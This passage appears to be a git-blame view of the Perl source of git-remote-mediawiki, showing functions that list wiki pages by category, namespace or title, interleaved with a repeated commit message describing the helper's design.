2013-06-14 15:50:30 +02:00
|
|
|
$category = "Category:${category}";
|
2012-06-27 11:10:19 +02:00
|
|
|
}
|
|
|
|
my $mw_pages = $mediawiki->list( {
|
|
|
|
action => 'query',
|
|
|
|
list => 'categorymembers',
|
|
|
|
cmtitle => $category,
|
|
|
|
cmlimit => 'max' } )
|
|
|
|
|| die $mediawiki->{error}->{code} . ': '
|
2013-06-14 15:50:21 +02:00
|
|
|
. $mediawiki->{error}->{details} . "\n";
|
2012-06-27 11:10:19 +02:00
|
|
|
foreach my $page (@{$mw_pages}) {
|
|
|
|
$pages->{$page->{title}} = $page;
|
|
|
|
}
|
|
|
|
}
|
2013-06-14 15:50:12 +02:00
|
|
|
return;
|
2012-06-27 11:10:19 +02:00
|
|
|
}
|
|
|
|
|
2017-11-06 22:19:47 +01:00
|
|
|
sub get_mw_tracked_namespaces {
|
|
|
|
my $pages = shift;
|
2017-11-07 17:07:00 +01:00
|
|
|
foreach my $local_namespace (sort @tracked_namespaces) {
|
2017-11-07 17:06:59 +01:00
|
|
|
my $namespace_id;
|
|
|
|
if ($local_namespace eq "(Main)") {
|
|
|
|
$namespace_id = 0;
|
|
|
|
} else {
|
|
|
|
$namespace_id = get_mw_namespace_id($local_namespace);
|
|
|
|
}
|
2017-11-07 17:06:58 +01:00
|
|
|
# virtual namespaces don't support allpages
|
|
|
|
next if !defined($namespace_id) || $namespace_id < 0;
|
2017-11-06 22:19:47 +01:00
|
|
|
my $mw_pages = $mediawiki->list( {
|
|
|
|
action => 'query',
|
|
|
|
list => 'allpages',
|
2017-11-07 17:06:58 +01:00
|
|
|
apnamespace => $namespace_id,
|
2017-11-06 22:19:47 +01:00
|
|
|
aplimit => 'max' } )
|
|
|
|
|| die $mediawiki->{error}->{code} . ': '
|
|
|
|
. $mediawiki->{error}->{details} . "\n";
|
2017-11-07 17:07:01 +01:00
|
|
|
print {*STDERR} "$#{$mw_pages} found in namespace $local_namespace ($namespace_id)\n";
|
2017-11-06 22:19:47 +01:00
|
|
|
foreach my $page (@{$mw_pages}) {
|
|
|
|
$pages->{$page->{title}} = $page;
|
|
|
|
}
|
|
|
|
}
|
|
|
|
return;
|
|
|
|
}
|
|
|
|
|
2012-06-27 11:10:19 +02:00
|
|
|
sub get_mw_all_pages {
|
|
|
|
my $pages = shift;
|
|
|
|
# No user-provided list, get the list of pages from the API.
|
|
|
|
my $mw_pages = $mediawiki->list({
|
|
|
|
action => 'query',
|
|
|
|
list => 'allpages',
|
|
|
|
aplimit => 'max'
|
|
|
|
});
|
|
|
|
if (!defined($mw_pages)) {
|
2013-05-29 14:06:29 +02:00
|
|
|
fatal_mw_error("get the list of wiki pages");
|
2012-06-27 11:10:19 +02:00
|
|
|
}
|
|
|
|
foreach my $page (@{$mw_pages}) {
|
|
|
|
$pages->{$page->{title}} = $page;
|
|
|
|
}
|
2013-06-14 15:50:12 +02:00
|
|
|
return;
|
2012-06-27 11:10:19 +02:00
|
|
|
}
|
|
|
|
|
|
|
|
# queries the wiki for a set of pages. Meant to be used within a loop
|
|
|
|
# querying the wiki for slices of page list.
|
Add a remote helper to interact with mediawiki (fetch & push)
Implement a gate between git and mediawiki, allowing git users to push
and pull objects from mediawiki just as one would do with a classic git
repository thanks to remote-helpers.
The following packages need to be installed (available on common
repositories):
libmediawiki-api-perl
libdatetime-format-iso8601-perl
Use remote helpers in order to be as transparent as possible to the git
user.
Download Mediawiki revisions through the Mediawiki API and then
fast-import into git.
Mediawiki revision number and git commits are linked thanks to notes
bound to commits.
The import part is done on a refs/mediawiki/<remote> branch before
coming to refs/remote/origin/master (Huge thanks to Jonathan Nieder
for his help)
We use UTF-8 everywhere: use encoding 'utf8'; does most of the job, but
we also read the output of Git commands in UTF-8 with the small helper
run_git, and write to the console (STDERR) in UTF-8. This allows a
seamless use of non-ascii characters in page titles, but hasn't been
tested on non-UTF-8 systems. In particular, UTF-8 encoding for filenames
could raise problems if different file systems handle UTF-8 filenames
differently. A uri_escape of mediawiki filenames could be imaginable, and
is still to be discussed further.
Partial cloning is supported using one of:
git clone -c remote.origin.pages='A_Page Another_Page' mediawiki::http://wikiurl
git clone -c remote.origin.categories='Some_Category' mediawiki::http://wikiurl
git clone -c remote.origin.shallow='True' mediawiki::http://wikiurl
Thanks to notes metadata, it is possible to compare remote and local last
mediawiki revision to warn non-fast forward pushes and "everything
up-to-date" case.
When allowed, push looks for each commit between remotes/origin/master
and HEAD, catches every blob related to these commit and push them in
chronological order. To do so, it uses git rev-list --children HEAD and
travels the tree from remotes/origin/master to HEAD through children. In
other words:
* Shortest path from remotes/origin/master to HEAD
* For each commit encountered, push blobs related to this commit
Signed-off-by: Jérémie Nikaes <jeremie.nikaes@ensimag.imag.fr>
Signed-off-by: Arnaud Lacurie <arnaud.lacurie@ensimag.imag.fr>
Signed-off-by: Claire Fousse <claire.fousse@ensimag.imag.fr>
Signed-off-by: David Amouyal <david.amouyal@ensimag.imag.fr>
Signed-off-by: Matthieu Moy <matthieu.moy@grenoble-inp.fr>
Signed-off-by: Sylvain Boulmé <sylvain.boulme@imag.fr>
Signed-off-by: Junio C Hamano <gitster@pobox.com>
2011-09-01 18:54:55 +02:00
|
|
|
sub get_mw_first_pages {
|
|
|
|
my $some_pages = shift;
|
|
|
|
my @some_pages = @{$some_pages};
|
|
|
|
|
|
|
|
my $pages = shift;
|
|
|
|
|
|
|
|
# pattern 'page1|page2|...' required by the API
|
|
|
|
my $titles = join('|', @some_pages);
|
|
|
|
|
|
|
|
my $mw_pages = $mediawiki->api({
|
|
|
|
action => 'query',
|
|
|
|
titles => $titles,
|
|
|
|
});
|
|
|
|
if (!defined($mw_pages)) {
|
2013-05-29 14:06:29 +02:00
|
|
|
fatal_mw_error("query the list of wiki pages");
|
Add a remote helper to interact with mediawiki (fetch & push)
Implement a gate between git and mediawiki, allowing git users to push
and pull objects from mediawiki just as one would do with a classic git
repository thanks to remote-helpers.
The following packages need to be installed (available on common
repositories):
libmediawiki-api-perl
libdatetime-format-iso8601-perl
Use remote helpers in order to be as transparent as possible to the git
user.
Download Mediawiki revisions through the Mediawiki API and then
fast-import into git.
Mediawiki revision number and git commits are linked thanks to notes
bound to commits.
The import part is done on a refs/mediawiki/<remote> branch before
coming to refs/remote/origin/master (Huge thanks to Jonathan Nieder
for his help)
We use UTF-8 everywhere: use encoding 'utf8'; does most of the job, but
we also read the output of Git commands in UTF-8 with the small helper
run_git, and write to the console (STDERR) in UTF-8. This allows a
seamless use of non-ascii characters in page titles, but hasn't been
tested on non-UTF-8 systems. In particular, UTF-8 encoding for filenames
could raise problems if different file systems handle UTF-8 filenames
differently. A uri_escape of mediawiki filenames could be imaginable, and
is still to be discussed further.
Partial cloning is supported using one of:
git clone -c remote.origin.pages='A_Page Another_Page' mediawiki::http://wikiurl
git clone -c remote.origin.categories='Some_Category' mediawiki::http://wikiurl
git clone -c remote.origin.shallow='True' mediawiki::http://wikiurl
Thanks to notes metadata, it is possible to compare remote and local last
mediawiki revision to warn non-fast forward pushes and "everything
up-to-date" case.
When allowed, push looks for each commit between remotes/origin/master
and HEAD, catches every blob related to these commit and push them in
chronological order. To do so, it uses git rev-list --children HEAD and
travels the tree from remotes/origin/master to HEAD through children. In
other words:
* Shortest path from remotes/origin/master to HEAD
* For each commit encountered, push blobs related to this commit
Signed-off-by: Jérémie Nikaes <jeremie.nikaes@ensimag.imag.fr>
Signed-off-by: Arnaud Lacurie <arnaud.lacurie@ensimag.imag.fr>
Signed-off-by: Claire Fousse <claire.fousse@ensimag.imag.fr>
Signed-off-by: David Amouyal <david.amouyal@ensimag.imag.fr>
Signed-off-by: Matthieu Moy <matthieu.moy@grenoble-inp.fr>
Signed-off-by: Sylvain Boulmé <sylvain.boulme@imag.fr>
Signed-off-by: Junio C Hamano <gitster@pobox.com>
2011-09-01 18:54:55 +02:00
|
|
|
}
|
|
|
|
while (my ($id, $page) = each(%{$mw_pages->{query}->{pages}})) {
|
|
|
|
if ($id < 0) {
|
2013-06-14 15:50:31 +02:00
|
|
|
print {*STDERR} "Warning: page $page->{title} not found on wiki\n";
|
Add a remote helper to interact with mediawiki (fetch & push)
Implement a gate between git and mediawiki, allowing git users to push
and pull objects from mediawiki just as one would do with a classic git
repository thanks to remote-helpers.
The following packages need to be installed (available on common
repositories):
libmediawiki-api-perl
libdatetime-format-iso8601-perl
Use remote helpers in order to be as transparent as possible to the git
user.
Download Mediawiki revisions through the Mediawiki API and then
fast-import into git.
Mediawiki revision number and git commits are linked thanks to notes
bound to commits.
The import part is done on a refs/mediawiki/<remote> branch before
coming to refs/remote/origin/master (Huge thanks to Jonathan Nieder
for his help)
We use UTF-8 everywhere: use encoding 'utf8'; does most of the job, but
we also read the output of Git commands in UTF-8 with the small helper
run_git, and write to the console (STDERR) in UTF-8. This allows a
seamless use of non-ascii characters in page titles, but hasn't been
tested on non-UTF-8 systems. In particular, UTF-8 encoding for filenames
could raise problems if different file systems handle UTF-8 filenames
differently. A uri_escape of mediawiki filenames could be imaginable, and
is still to be discussed further.
Partial cloning is supported using one of:
git clone -c remote.origin.pages='A_Page Another_Page' mediawiki::http://wikiurl
git clone -c remote.origin.categories='Some_Category' mediawiki::http://wikiurl
git clone -c remote.origin.shallow='True' mediawiki::http://wikiurl
Thanks to notes metadata, it is possible to compare remote and local last
mediawiki revision to warn non-fast forward pushes and "everything
up-to-date" case.
When allowed, push looks for each commit between remotes/origin/master
and HEAD, catches every blob related to these commit and push them in
chronological order. To do so, it uses git rev-list --children HEAD and
travels the tree from remotes/origin/master to HEAD through children. In
other words:
* Shortest path from remotes/origin/master to HEAD
* For each commit encountered, push blobs related to this commit
Signed-off-by: Jérémie Nikaes <jeremie.nikaes@ensimag.imag.fr>
Signed-off-by: Arnaud Lacurie <arnaud.lacurie@ensimag.imag.fr>
Signed-off-by: Claire Fousse <claire.fousse@ensimag.imag.fr>
Signed-off-by: David Amouyal <david.amouyal@ensimag.imag.fr>
Signed-off-by: Matthieu Moy <matthieu.moy@grenoble-inp.fr>
Signed-off-by: Sylvain Boulmé <sylvain.boulme@imag.fr>
Signed-off-by: Junio C Hamano <gitster@pobox.com>
2011-09-01 18:54:55 +02:00
|
|
|
} else {
|
|
|
|
$pages->{$page->{title}} = $page;
|
|
|
|
}
|
|
|
|
}
|
2013-06-14 15:50:12 +02:00
|
|
|
return;
|
Add a remote helper to interact with mediawiki (fetch & push)
Implement a gate between git and mediawiki, allowing git users to push
and pull objects from mediawiki just as one would do with a classic git
repository thanks to remote-helpers.
The following packages need to be installed (available on common
repositories):
libmediawiki-api-perl
libdatetime-format-iso8601-perl
Use remote helpers in order to be as transparent as possible to the git
user.
Download Mediawiki revisions through the Mediawiki API and then
fast-import into git.
Mediawiki revision number and git commits are linked thanks to notes
bound to commits.
The import part is done on a refs/mediawiki/<remote> branch before
coming to refs/remote/origin/master (Huge thanks to Jonathan Nieder
for his help)
We use UTF-8 everywhere: use encoding 'utf8'; does most of the job, but
we also read the output of Git commands in UTF-8 with the small helper
run_git, and write to the console (STDERR) in UTF-8. This allows a
seamless use of non-ascii characters in page titles, but hasn't been
tested on non-UTF-8 systems. In particular, UTF-8 encoding for filenames
could raise problems if different file systems handle UTF-8 filenames
differently. A uri_escape of mediawiki filenames could be imaginable, and
is still to be discussed further.
Partial cloning is supported using one of:
git clone -c remote.origin.pages='A_Page Another_Page' mediawiki::http://wikiurl
git clone -c remote.origin.categories='Some_Category' mediawiki::http://wikiurl
git clone -c remote.origin.shallow='True' mediawiki::http://wikiurl
Thanks to notes metadata, it is possible to compare remote and local last
mediawiki revision to warn non-fast forward pushes and "everything
up-to-date" case.
When allowed, push looks for each commit between remotes/origin/master
and HEAD, catches every blob related to these commit and push them in
chronological order. To do so, it uses git rev-list --children HEAD and
travels the tree from remotes/origin/master to HEAD through children. In
other words:
* Shortest path from remotes/origin/master to HEAD
* For each commit encountered, push blobs related to this commit
Signed-off-by: Jérémie Nikaes <jeremie.nikaes@ensimag.imag.fr>
Signed-off-by: Arnaud Lacurie <arnaud.lacurie@ensimag.imag.fr>
Signed-off-by: Claire Fousse <claire.fousse@ensimag.imag.fr>
Signed-off-by: David Amouyal <david.amouyal@ensimag.imag.fr>
Signed-off-by: Matthieu Moy <matthieu.moy@grenoble-inp.fr>
Signed-off-by: Sylvain Boulmé <sylvain.boulme@imag.fr>
Signed-off-by: Junio C Hamano <gitster@pobox.com>
2011-09-01 18:54:55 +02:00
|
|
|
}
|
|
|
|
|
2012-06-27 11:10:19 +02:00
|
|
|
# Get the list of pages to be fetched according to configuration.
|
Add a remote helper to interact with mediawiki (fetch & push)
Implement a gate between git and mediawiki, allowing git users to push
and pull objects from mediawiki just as one would do with a classic git
repository thanks to remote-helpers.
The following packages need to be installed (available on common
repositories):
libmediawiki-api-perl
libdatetime-format-iso8601-perl
Use remote helpers in order to be as transparent as possible to the git
user.
Download Mediawiki revisions through the Mediawiki API and then
fast-import into git.
Mediawiki revision number and git commits are linked thanks to notes
bound to commits.
The import part is done on a refs/mediawiki/<remote> branch before
coming to refs/remote/origin/master (Huge thanks to Jonathan Nieder
for his help)
We use UTF-8 everywhere: use encoding 'utf8'; does most of the job, but
we also read the output of Git commands in UTF-8 with the small helper
run_git, and write to the console (STDERR) in UTF-8. This allows a
seamless use of non-ascii characters in page titles, but hasn't been
tested on non-UTF-8 systems. In particular, UTF-8 encoding for filenames
could raise problems if different file systems handle UTF-8 filenames
differently. A uri_escape of mediawiki filenames could be imaginable, and
is still to be discussed further.
Partial cloning is supported using one of:
git clone -c remote.origin.pages='A_Page Another_Page' mediawiki::http://wikiurl
git clone -c remote.origin.categories='Some_Category' mediawiki::http://wikiurl
git clone -c remote.origin.shallow='True' mediawiki::http://wikiurl
Thanks to notes metadata, it is possible to compare remote and local last
mediawiki revision to warn non-fast forward pushes and "everything
up-to-date" case.
When allowed, push looks for each commit between remotes/origin/master
and HEAD, catches every blob related to these commit and push them in
chronological order. To do so, it uses git rev-list --children HEAD and
travels the tree from remotes/origin/master to HEAD through children. In
other words:
* Shortest path from remotes/origin/master to HEAD
* For each commit encountered, push blobs related to this commit
Signed-off-by: Jérémie Nikaes <jeremie.nikaes@ensimag.imag.fr>
Signed-off-by: Arnaud Lacurie <arnaud.lacurie@ensimag.imag.fr>
Signed-off-by: Claire Fousse <claire.fousse@ensimag.imag.fr>
Signed-off-by: David Amouyal <david.amouyal@ensimag.imag.fr>
Signed-off-by: Matthieu Moy <matthieu.moy@grenoble-inp.fr>
Signed-off-by: Sylvain Boulmé <sylvain.boulme@imag.fr>
Signed-off-by: Junio C Hamano <gitster@pobox.com>
2011-09-01 18:54:55 +02:00
|
|
|
sub get_mw_pages {
|
2013-07-04 22:38:58 +02:00
|
|
|
$mediawiki = connect_maybe($mediawiki, $remotename, $url);
|
Add a remote helper to interact with mediawiki (fetch & push)
Implement a gate between git and mediawiki, allowing git users to push
and pull objects from mediawiki just as one would do with a classic git
repository thanks to remote-helpers.
The following packages need to be installed (available on common
repositories):
libmediawiki-api-perl
libdatetime-format-iso8601-perl
Use remote helpers in order to be as transparent as possible to the git
user.
Download Mediawiki revisions through the Mediawiki API and then
fast-import into git.
Mediawiki revision number and git commits are linked thanks to notes
bound to commits.
The import part is done on a refs/mediawiki/<remote> branch before
coming to refs/remote/origin/master (Huge thanks to Jonathan Nieder
for his help)
We use UTF-8 everywhere: use encoding 'utf8'; does most of the job, but
we also read the output of Git commands in UTF-8 with the small helper
run_git, and write to the console (STDERR) in UTF-8. This allows a
seamless use of non-ascii characters in page titles, but hasn't been
tested on non-UTF-8 systems. In particular, UTF-8 encoding for filenames
could raise problems if different file systems handle UTF-8 filenames
differently. A uri_escape of mediawiki filenames could be imaginable, and
is still to be discussed further.
Partial cloning is supported using one of:
git clone -c remote.origin.pages='A_Page Another_Page' mediawiki::http://wikiurl
git clone -c remote.origin.categories='Some_Category' mediawiki::http://wikiurl
git clone -c remote.origin.shallow='True' mediawiki::http://wikiurl
Thanks to notes metadata, it is possible to compare remote and local last
mediawiki revision to warn non-fast forward pushes and "everything
up-to-date" case.
When allowed, push looks for each commit between remotes/origin/master
and HEAD, catches every blob related to these commit and push them in
chronological order. To do so, it uses git rev-list --children HEAD and
travels the tree from remotes/origin/master to HEAD through children. In
other words:
* Shortest path from remotes/origin/master to HEAD
* For each commit encountered, push blobs related to this commit
Signed-off-by: Jérémie Nikaes <jeremie.nikaes@ensimag.imag.fr>
Signed-off-by: Arnaud Lacurie <arnaud.lacurie@ensimag.imag.fr>
Signed-off-by: Claire Fousse <claire.fousse@ensimag.imag.fr>
Signed-off-by: David Amouyal <david.amouyal@ensimag.imag.fr>
Signed-off-by: Matthieu Moy <matthieu.moy@grenoble-inp.fr>
Signed-off-by: Sylvain Boulmé <sylvain.boulme@imag.fr>
Signed-off-by: Junio C Hamano <gitster@pobox.com>
2011-09-01 18:54:55 +02:00
|
|
|
|
2013-06-14 15:50:31 +02:00
|
|
|
print {*STDERR} "Listing pages on remote wiki...\n";
|
2012-07-16 21:46:40 +02:00
|
|
|
|
Add a remote helper to interact with mediawiki (fetch & push)
Implement a gate between git and mediawiki, allowing git users to push
and pull objects from mediawiki just as one would do with a classic git
repository thanks to remote-helpers.
The following packages need to be installed (available on common
repositories):
libmediawiki-api-perl
libdatetime-format-iso8601-perl
Use remote helpers in order to be as transparent as possible to the git
user.
Download Mediawiki revisions through the Mediawiki API and then
fast-import into git.
Mediawiki revision number and git commits are linked thanks to notes
bound to commits.
The import part is done on a refs/mediawiki/<remote> branch before
coming to refs/remote/origin/master (Huge thanks to Jonathan Nieder
for his help)
We use UTF-8 everywhere: use encoding 'utf8'; does most of the job, but
we also read the output of Git commands in UTF-8 with the small helper
run_git, and write to the console (STDERR) in UTF-8. This allows a
seamless use of non-ascii characters in page titles, but hasn't been
tested on non-UTF-8 systems. In particular, UTF-8 encoding for filenames
could raise problems if different file systems handle UTF-8 filenames
differently. A uri_escape of mediawiki filenames could be imaginable, and
is still to be discussed further.
Partial cloning is supported using one of:
git clone -c remote.origin.pages='A_Page Another_Page' mediawiki::http://wikiurl
git clone -c remote.origin.categories='Some_Category' mediawiki::http://wikiurl
git clone -c remote.origin.shallow='True' mediawiki::http://wikiurl
Thanks to notes metadata, it is possible to compare remote and local last
mediawiki revision to warn non-fast forward pushes and "everything
up-to-date" case.
When allowed, push looks for each commit between remotes/origin/master
and HEAD, catches every blob related to these commit and push them in
chronological order. To do so, it uses git rev-list --children HEAD and
travels the tree from remotes/origin/master to HEAD through children. In
other words:
* Shortest path from remotes/origin/master to HEAD
* For each commit encountered, push blobs related to this commit
Signed-off-by: Jérémie Nikaes <jeremie.nikaes@ensimag.imag.fr>
Signed-off-by: Arnaud Lacurie <arnaud.lacurie@ensimag.imag.fr>
Signed-off-by: Claire Fousse <claire.fousse@ensimag.imag.fr>
Signed-off-by: David Amouyal <david.amouyal@ensimag.imag.fr>
Signed-off-by: Matthieu Moy <matthieu.moy@grenoble-inp.fr>
Signed-off-by: Sylvain Boulmé <sylvain.boulme@imag.fr>
Signed-off-by: Junio C Hamano <gitster@pobox.com>
2011-09-01 18:54:55 +02:00
|
|
|
my %pages; # hash on page titles to avoid duplicates
|
|
|
|
my $user_defined;
|
|
|
|
if (@tracked_pages) {
|
|
|
|
$user_defined = 1;
|
|
|
|
# The user provided a list of pages titles, but we
|
|
|
|
# still need to query the API to get the page IDs.
|
2012-06-27 11:10:19 +02:00
|
|
|
get_mw_tracked_pages(\%pages);
|
Add a remote helper to interact with mediawiki (fetch & push)
Implement a gate between git and mediawiki, allowing git users to push
and pull objects from mediawiki just as one would do with a classic git
repository thanks to remote-helpers.
The following packages need to be installed (available on common
repositories):
libmediawiki-api-perl
libdatetime-format-iso8601-perl
Use remote helpers in order to be as transparent as possible to the git
user.
Download Mediawiki revisions through the Mediawiki API and then
fast-import into git.
Mediawiki revision number and git commits are linked thanks to notes
bound to commits.
The import part is done on a refs/mediawiki/<remote> branch before
coming to refs/remote/origin/master (Huge thanks to Jonathan Nieder
for his help)
We use UTF-8 everywhere: use encoding 'utf8'; does most of the job, but
we also read the output of Git commands in UTF-8 with the small helper
run_git, and write to the console (STDERR) in UTF-8. This allows a
seamless use of non-ascii characters in page titles, but hasn't been
tested on non-UTF-8 systems. In particular, UTF-8 encoding for filenames
could raise problems if different file systems handle UTF-8 filenames
differently. A uri_escape of mediawiki filenames could be imaginable, and
is still to be discussed further.
Partial cloning is supported using one of:
git clone -c remote.origin.pages='A_Page Another_Page' mediawiki::http://wikiurl
git clone -c remote.origin.categories='Some_Category' mediawiki::http://wikiurl
git clone -c remote.origin.shallow='True' mediawiki::http://wikiurl
Thanks to notes metadata, it is possible to compare remote and local last
mediawiki revision to warn non-fast forward pushes and "everything
up-to-date" case.
When allowed, push looks for each commit between remotes/origin/master
and HEAD, catches every blob related to these commit and push them in
chronological order. To do so, it uses git rev-list --children HEAD and
travels the tree from remotes/origin/master to HEAD through children. In
other words:
* Shortest path from remotes/origin/master to HEAD
* For each commit encountered, push blobs related to this commit
Signed-off-by: Jérémie Nikaes <jeremie.nikaes@ensimag.imag.fr>
Signed-off-by: Arnaud Lacurie <arnaud.lacurie@ensimag.imag.fr>
Signed-off-by: Claire Fousse <claire.fousse@ensimag.imag.fr>
Signed-off-by: David Amouyal <david.amouyal@ensimag.imag.fr>
Signed-off-by: Matthieu Moy <matthieu.moy@grenoble-inp.fr>
Signed-off-by: Sylvain Boulmé <sylvain.boulme@imag.fr>
Signed-off-by: Junio C Hamano <gitster@pobox.com>
2011-09-01 18:54:55 +02:00
|
|
|
}
|
|
|
|
if (@tracked_categories) {
|
|
|
|
$user_defined = 1;
|
2012-06-27 11:10:19 +02:00
|
|
|
get_mw_tracked_categories(\%pages);
|
Add a remote helper to interact with mediawiki (fetch & push)
Implement a gate between git and mediawiki, allowing git users to push
and pull objects from mediawiki just as one would do with a classic git
repository thanks to remote-helpers.
The following packages need to be installed (available on common
repositories):
libmediawiki-api-perl
libdatetime-format-iso8601-perl
Use remote helpers in order to be as transparent as possible to the git
user.
Download Mediawiki revisions through the Mediawiki API and then
fast-import into git.
Mediawiki revision number and git commits are linked thanks to notes
bound to commits.
The import part is done on a refs/mediawiki/<remote> branch before
coming to refs/remote/origin/master (Huge thanks to Jonathan Nieder
for his help)
We use UTF-8 everywhere: use encoding 'utf8'; does most of the job, but
we also read the output of Git commands in UTF-8 with the small helper
run_git, and write to the console (STDERR) in UTF-8. This allows a
seamless use of non-ascii characters in page titles, but hasn't been
tested on non-UTF-8 systems. In particular, UTF-8 encoding for filenames
could raise problems if different file systems handle UTF-8 filenames
differently. A uri_escape of mediawiki filenames could be imaginable, and
is still to be discussed further.
Partial cloning is supported using one of:
git clone -c remote.origin.pages='A_Page Another_Page' mediawiki::http://wikiurl
git clone -c remote.origin.categories='Some_Category' mediawiki::http://wikiurl
git clone -c remote.origin.shallow='True' mediawiki::http://wikiurl
Thanks to notes metadata, it is possible to compare remote and local last
mediawiki revision to warn non-fast forward pushes and "everything
up-to-date" case.
When allowed, push looks for each commit between remotes/origin/master
and HEAD, catches every blob related to these commit and push them in
chronological order. To do so, it uses git rev-list --children HEAD and
travels the tree from remotes/origin/master to HEAD through children. In
other words:
* Shortest path from remotes/origin/master to HEAD
* For each commit encountered, push blobs related to this commit
Signed-off-by: Jérémie Nikaes <jeremie.nikaes@ensimag.imag.fr>
Signed-off-by: Arnaud Lacurie <arnaud.lacurie@ensimag.imag.fr>
Signed-off-by: Claire Fousse <claire.fousse@ensimag.imag.fr>
Signed-off-by: David Amouyal <david.amouyal@ensimag.imag.fr>
Signed-off-by: Matthieu Moy <matthieu.moy@grenoble-inp.fr>
Signed-off-by: Sylvain Boulmé <sylvain.boulme@imag.fr>
Signed-off-by: Junio C Hamano <gitster@pobox.com>
2011-09-01 18:54:55 +02:00
|
|
|
}
|
2017-11-06 22:19:47 +01:00
|
|
|
if (@tracked_namespaces) {
|
|
|
|
$user_defined = 1;
|
|
|
|
get_mw_tracked_namespaces(\%pages);
|
|
|
|
}
|
Add a remote helper to interact with mediawiki (fetch & push)
Implement a gate between git and mediawiki, allowing git users to push
and pull objects from mediawiki just as one would do with a classic git
repository thanks to remote-helpers.
The following packages need to be installed (available on common
repositories):
libmediawiki-api-perl
libdatetime-format-iso8601-perl
Use remote helpers in order to be as transparent as possible to the git
user.
Download Mediawiki revisions through the Mediawiki API and then
fast-import into git.
Mediawiki revision number and git commits are linked thanks to notes
bound to commits.
The import part is done on a refs/mediawiki/<remote> branch before
coming to refs/remote/origin/master (Huge thanks to Jonathan Nieder
for his help)
We use UTF-8 everywhere: use encoding 'utf8'; does most of the job, but
we also read the output of Git commands in UTF-8 with the small helper
run_git, and write to the console (STDERR) in UTF-8. This allows a
seamless use of non-ascii characters in page titles, but hasn't been
tested on non-UTF-8 systems. In particular, UTF-8 encoding for filenames
could raise problems if different file systems handle UTF-8 filenames
differently. A uri_escape of mediawiki filenames could be imaginable, and
is still to be discussed further.
Partial cloning is supported using one of:
git clone -c remote.origin.pages='A_Page Another_Page' mediawiki::http://wikiurl
git clone -c remote.origin.categories='Some_Category' mediawiki::http://wikiurl
git clone -c remote.origin.shallow='True' mediawiki::http://wikiurl
Thanks to notes metadata, it is possible to compare remote and local last
mediawiki revision to warn non-fast forward pushes and "everything
up-to-date" case.
When allowed, push looks for each commit between remotes/origin/master
and HEAD, catches every blob related to these commit and push them in
chronological order. To do so, it uses git rev-list --children HEAD and
travels the tree from remotes/origin/master to HEAD through children. In
other words:
* Shortest path from remotes/origin/master to HEAD
* For each commit encountered, push blobs related to this commit
Signed-off-by: Jérémie Nikaes <jeremie.nikaes@ensimag.imag.fr>
Signed-off-by: Arnaud Lacurie <arnaud.lacurie@ensimag.imag.fr>
Signed-off-by: Claire Fousse <claire.fousse@ensimag.imag.fr>
Signed-off-by: David Amouyal <david.amouyal@ensimag.imag.fr>
Signed-off-by: Matthieu Moy <matthieu.moy@grenoble-inp.fr>
Signed-off-by: Sylvain Boulmé <sylvain.boulme@imag.fr>
Signed-off-by: Junio C Hamano <gitster@pobox.com>
2011-09-01 18:54:55 +02:00
|
|
|
if (!$user_defined) {
|
2012-06-27 11:10:19 +02:00
|
|
|
get_mw_all_pages(\%pages);
|
Add a remote helper to interact with mediawiki (fetch & push)
Implement a gate between git and mediawiki, allowing git users to push
and pull objects from mediawiki just as one would do with a classic git
repository thanks to remote-helpers.
The following packages need to be installed (available on common
repositories):
libmediawiki-api-perl
libdatetime-format-iso8601-perl
Use remote helpers in order to be as transparent as possible to the git
user.
Download Mediawiki revisions through the Mediawiki API and then
fast-import into git.
Mediawiki revision number and git commits are linked thanks to notes
bound to commits.
The import part is done on a refs/mediawiki/<remote> branch before
coming to refs/remote/origin/master (Huge thanks to Jonathan Nieder
for his help)
We use UTF-8 everywhere: use encoding 'utf8'; does most of the job, but
we also read the output of Git commands in UTF-8 with the small helper
run_git, and write to the console (STDERR) in UTF-8. This allows a
seamless use of non-ascii characters in page titles, but hasn't been
tested on non-UTF-8 systems. In particular, UTF-8 encoding for filenames
could raise problems if different file systems handle UTF-8 filenames
differently. A uri_escape of mediawiki filenames could be imaginable, and
is still to be discussed further.
Partial cloning is supported using one of:
git clone -c remote.origin.pages='A_Page Another_Page' mediawiki::http://wikiurl
git clone -c remote.origin.categories='Some_Category' mediawiki::http://wikiurl
git clone -c remote.origin.shallow='True' mediawiki::http://wikiurl
Thanks to notes metadata, it is possible to compare remote and local last
mediawiki revision to warn non-fast forward pushes and "everything
up-to-date" case.
When allowed, push looks for each commit between remotes/origin/master
and HEAD, catches every blob related to these commit and push them in
chronological order. To do so, it uses git rev-list --children HEAD and
travels the tree from remotes/origin/master to HEAD through children. In
other words:
* Shortest path from remotes/origin/master to HEAD
* For each commit encountered, push blobs related to this commit
Signed-off-by: Jérémie Nikaes <jeremie.nikaes@ensimag.imag.fr>
Signed-off-by: Arnaud Lacurie <arnaud.lacurie@ensimag.imag.fr>
Signed-off-by: Claire Fousse <claire.fousse@ensimag.imag.fr>
Signed-off-by: David Amouyal <david.amouyal@ensimag.imag.fr>
Signed-off-by: Matthieu Moy <matthieu.moy@grenoble-inp.fr>
Signed-off-by: Sylvain Boulmé <sylvain.boulme@imag.fr>
Signed-off-by: Junio C Hamano <gitster@pobox.com>
2011-09-01 18:54:55 +02:00
|
|
|
}
|
2012-06-27 16:21:29 +02:00
|
|
|
if ($import_media) {
|
2013-06-14 15:50:31 +02:00
|
|
|
print {*STDERR} "Getting media files for selected pages...\n";
|
2012-06-27 16:21:29 +02:00
|
|
|
if ($user_defined) {
|
|
|
|
get_linked_mediafiles(\%pages);
|
|
|
|
} else {
|
|
|
|
get_all_mediafiles(\%pages);
|
Add a remote helper to interact with mediawiki (fetch & push)
Implement a gate between git and mediawiki, allowing git users to push
and pull objects from mediawiki just as one would do with a classic git
repository thanks to remote-helpers.
The following packages need to be installed (available on common
repositories):
libmediawiki-api-perl
libdatetime-format-iso8601-perl
Use remote helpers in order to be as transparent as possible to the git
user.
Download Mediawiki revisions through the Mediawiki API and then
fast-import into git.
Mediawiki revision number and git commits are linked thanks to notes
bound to commits.
The import part is done on a refs/mediawiki/<remote> branch before
coming to refs/remote/origin/master (Huge thanks to Jonathan Nieder
for his help)
We use UTF-8 everywhere: use encoding 'utf8'; does most of the job, but
we also read the output of Git commands in UTF-8 with the small helper
run_git, and write to the console (STDERR) in UTF-8. This allows a
seamless use of non-ascii characters in page titles, but hasn't been
tested on non-UTF-8 systems. In particular, UTF-8 encoding for filenames
could raise problems if different file systems handle UTF-8 filenames
differently. A uri_escape of mediawiki filenames could be imaginable, and
is still to be discussed further.
Partial cloning is supported using one of:
